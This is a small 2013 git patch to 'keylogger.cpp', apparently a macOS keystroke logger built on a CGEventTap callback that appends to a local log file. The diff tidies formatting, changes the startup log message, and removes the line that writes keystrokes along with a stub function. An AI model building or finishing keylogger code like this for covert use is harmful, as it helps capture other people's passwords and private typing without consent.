From fa84df45a447062d1ba5022c8992731b90aad115 Mon Sep 17 00:00:00 2001 From: Casey Scarborough Date: Mon, 16 Sep 2013 19:18:58 -0400 Subject: [PATCH] Stupid IO. --- keylogger.cpp | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/keylogger.cpp b/keylogger.cpp index ed4207b..b14795e 100644 --- a/keylogger.cpp +++ b/keylogger.cpp @@ -7,7 +7,7 @@ using namespace std; FILE *logfile = NULL; -CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *); +CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*); const char *convertKeyCode(int); int main(int argc, const char *argv[]) { @@ -27,22 +27,20 @@ int main(int argc, const char *argv[]) { const char *logfileLocation = "./keystroke.log"; logfile = fopen(logfileLocation, "a"); - fprintf(logfile, "Keylogging has begun.\n\n"); + fprintf(logfile, "Test"); + cout << logfileLocation << endl; + fflush(logfile); CFRunLoopRun(); return 0; } -CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { +CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) { return event; } CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); - fprintf(logfile, "%s", convertKeyCode(keyCode)); return event; } -const char *convertKeyCode(int keyCode) { - return "keypress"; -} \ No newline at end of file